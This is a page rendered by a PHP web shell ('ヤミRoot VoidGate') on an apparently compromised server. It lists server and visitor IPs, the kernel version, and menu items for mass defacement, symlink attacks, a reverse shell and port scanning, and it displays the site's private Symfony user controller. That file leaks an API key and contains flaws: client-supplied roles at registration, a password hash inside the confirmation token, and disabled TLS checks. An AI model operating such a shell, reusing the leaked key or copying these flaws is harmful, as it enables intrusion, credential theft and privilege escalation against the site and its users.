ヤミRoot VoidGate
User / IP
:
216.73.216.81
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
src
/
Controller
/
Viewing: UserController.php
<?php /** * Created by PhpStorm. * user: user * Date: 17/03/2021 * Time: 17:56 */ namespace App\Controller; use App\Entity\Country; use App\Entity\MediaObject; use App\Entity\Town; use Doctrine\DBAL\DBALException; use Doctrine\ORM\EntityManagerInterface; use FOS\RestBundle\Controller\Annotations as Rest; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Template; use Symfony\Component\Mailer\MailerInterface; use Symfony\Component\Mime\BodyRendererInterface; use Symfony\Component\Mime\Email; use Symfony\Component\HttpFoundation\JsonResponse; use Symfony\Component\HttpFoundation\Request; use Symfony\Bridge\Twig\Mime\TemplatedEmail; use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface; use FOS\RestBundle\Controller\Annotations\View; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\Response; use Sensio\Bundle\FrameworkExtraBundle\Configuration\ParamConverter; use App\Entity\User; use App\Form\UserType; use Psr\Http\Message\ResponseInterface; use GuzzleHttp\Client; use Symfony\Component\Routing\Annotation\Route; class UserController extends AbstractController { /** * Create User. * @Rest\Post("/api/register") * @View */ public function postUserAction(Request $request, UserPasswordHasherInterface $encoder, MailerInterface $mailer){ $user= new User(); $data = json_decode($request->getContent(), true); $responseMessage=array("data"=>$data, "message"=>"provide all informations", "processing"=>"failed"); if ( empty($data['firstName']) || empty($data['lastName']) || empty($data['roles']) || empty($data['username']) || empty($data['email']) || empty($data['plainPassword'])) { return new JsonResponse($responseMessage, Response::HTTP_BAD_REQUEST); } $user->setPhoneNumber($data['phoneNumber']); $user->setFirstName($data['firstName']); $user->setLastName($data['lastName']); $user->setEmail($data['email']); $user->setEmailCanonical($data['email']); $user->setUsername($data['username']); $user->setEnabled(true); $user->setActive(true); $user->setRoles(explode(",", $data['roles'])); // password encoding $encoded = $encoder->hashPassword($user, $data['plainPassword']); $user->setPassword($encoded); try{ $em=$this->getDoctrine()->getManager(); $em->persist($user); $em->flush(); $user->setConfirmationToken(base64_encode( json_encode( array( [ "password"=> $user->getPassword(), "username"=>$user->getUsername(), "enabled"=>$user->isEnabled(), "id"=> $user->getId(), "email"=> $user->getEmail(), ]) ) ) ); $em->persist($user); $em->flush(); $responseMessage=array("data"=>$data, "message"=>"user created", "processing"=>"success"); $onlinePath=$request->getBasePath(); /*$message = (new TemplatedEmail()) ->subject('[Loger] New Registration') ->from('noreply@loger.cm') ->to($data['email']) ->html( $this->render( // templates/emails/registration.html.twig 'email/registration.html.twig', [ 'user' => $user, 'onlinePath' => $onlinePath, 'companyName' => $this->getParameter('app_client'), ] ) ) ; $mailer->send($message);*/ //$this->setCountries(); $this->getCountries(); return new JsonResponse($responseMessage, Response::HTTP_ACCEPTED); }catch (DBALException $exception){ return new JsonResponse($exception->getMessage(), Response::HTTP_BAD_REQUEST ); } } /** * Update User. * @Rest\Put("/resetting") * @View */ public function resetPasswordAction(Request $request, UserPasswordHasherInterface $encoder){ $ConnectedUser = $this->get('security.token_storage')->getToken()->getUser(); $data = json_decode($request->getContent(), true); if ( ($data['oldPassword'])==($data['newPassword'])) { $responseMessage=array("data"=>$data, "message"=>"new pass should be different to the old One", "processing"=>"failed"); return new JsonResponse($responseMessage, Response::HTTP_BAD_REQUEST ); } try{ // password encoding $encoded = $encoder->hashPassword($ConnectedUser, $data['newPassword']); $ConnectedUser->setPassword($encoded); $em=$this->getDoctrine()->getManager(); $em->persist($ConnectedUser); $em->flush(); $responseMessage=array("data"=>$data, "message"=>"pass changed", "processing"=>"success"); return new JsonResponse($responseMessage, Response::HTTP_ACCEPTED); }catch (DBALException $exception){ return new JsonResponse($exception->getMessage(), Response::HTTP_BAD_REQUEST ); } // ... } /** * activate User. * @Rest\Get("/confirmation/email/{token}") * @View */ public function confirmEmailAction(Request $request, $token) { $user =new User(); $data= base64_decode($token); if(isset($data["id"])){ $entityManager=$this->getDoctrine()->getManager(); $userDb = $entityManager->getRepository(User::class)->find($data["id"]); if(isset($userDb)){ $user->setActive(true); $user->setEnabled(true); $responseMessage=array("data"=>$data, "message"=>"User Has been activated", "processing"=>"success"); return new JsonResponse($responseMessage, Response::HTTP_OK ); }else{ $responseMessage=array("data"=>$data, "message"=>"N", "processing"=>"failed"); return new JsonResponse($responseMessage, Response::HTTP_NOT_FOUND ); } }else{ $responseMessage=array("data"=>$data, "message"=>"invalid token", "processing"=>"failed"); return new JsonResponse($responseMessage, Response::HTTP_BAD_REQUEST ); } } public function setCountries(){ $client = new Client(); $response = $client->request('GET', "https://restcountries.com/v3.1/all?fields=name,flags,capital" , [ 'verify' => false ]); $responseBodies=json_decode($response->getBody()->getContents()); foreach ($responseBodies as $responseBody){ $country=new Country(); $country->setCountryName($responseBody->name->common); $linkToFile="".$responseBody->flags->png; $urli=$linkToFile; $mediaDir= $this->getParameter('publicDir') . '/media/countries/'; $linkToFile=str_replace("https://flagcdn.com/w320/","",$linkToFile); $media= new MediaObject(); $media->filePath=$linkToFile; $country->setCountryFlag($media); $linkToFile=str_replace(".png","",$linkToFile); $country->setCode($linkToFile); if(!empty($responseBody->capital)){ $country->setCapital($responseBody->capital [0]); } if(empty($this->em->getRepository(Country::class)->findOneByCode($linkToFile))){ $this->em->persist($country); $this->em->flush(); if(!is_null($country->getCapital())){ $town=new Town(); $town->setCountry($country); $town->setTownName($country->getCapital()); $town->setIsCapital(true); $this->em->persist($town); $this->em->flush(); } // // $this->downloadFile($urli); } } } public function downloadFile($url){ $mediaDir= $this->getParameter('publicDir') . '/media/countries'; $linkToFile=basename($url); if(!str_contains($linkToFile,"wikimedia")){ if( file_put_contents( $mediaDir."/".$linkToFile,file_get_contents($url))){ echo "File downloaded successfully!"; }else{ echo "File downloading failed!"; } } } protected $em; public function __construct(EntityManagerInterface $em) { $this->em = $em; } public function getTowns(Country $country){ $client = new \GuzzleHttp\Client(); $response = $client->request('GET', 'https://wft-geo-db.p.rapidapi.com/v1/geo/cities?countryIds='.$country->getCode()."&offset=".$country->getOffset()."&limit=5", [ 'headers' => [ 'X-RapidAPI-Host' => 'wft-geo-db.p.rapidapi.com', 'X-RapidAPI-Key' => 'd01923dc5amsh8cc5a1094d152c2p117a73jsneebdb0db3f67', ], 'verify' => false ]); $responseBodies=json_decode($response->getBody()->getContents()); foreach ($responseBodies->data as $responseTown){ $town=new Town(); $town->setCountry($country); $town->setTownName($responseTown-> name); $town->setLatitude($responseTown-> latitude); $town->setLongitude($responseTown-> longitude); $town->setRegion($responseTown-> longitude); $town->setPopulation($responseTown-> population); $town->setIsCapital(false); $dbTown=$this->em->getRepository(Town::class)->findOneByName($responseTown-> name); if (empty($dbTown)) { $this->em->persist($town); $this->em->flush(); }else{ $dbTown->setLatitude($responseTown-> latitude); $dbTown->setLongitude($responseTown-> longitude); $dbTown->setPopuplation($responseTown-> population); $dbTown->setRegion($responseTown-> region); $this->em->persist($dbTown); $this->em->flush(); } } $offset=$country->getOffset()+5; $country->setOffset( $offset); $this->em->persist($country); if($offset<$responseBodies->metadata->totalCount){ $this->getTowns($country,$offset); } } public function getCountries(string $code){ $countries= $this->em->getRepository(Country::class)->findAll(); foreach ($countries as $country){ if($country->getCode()==$code) { if(!is_null($country->getOffset())){ $this->getTowns($country, $country->getOffset()); }else{ $this->getTowns($country, 0); } } } } }
Coded With 💗 by
0x6ick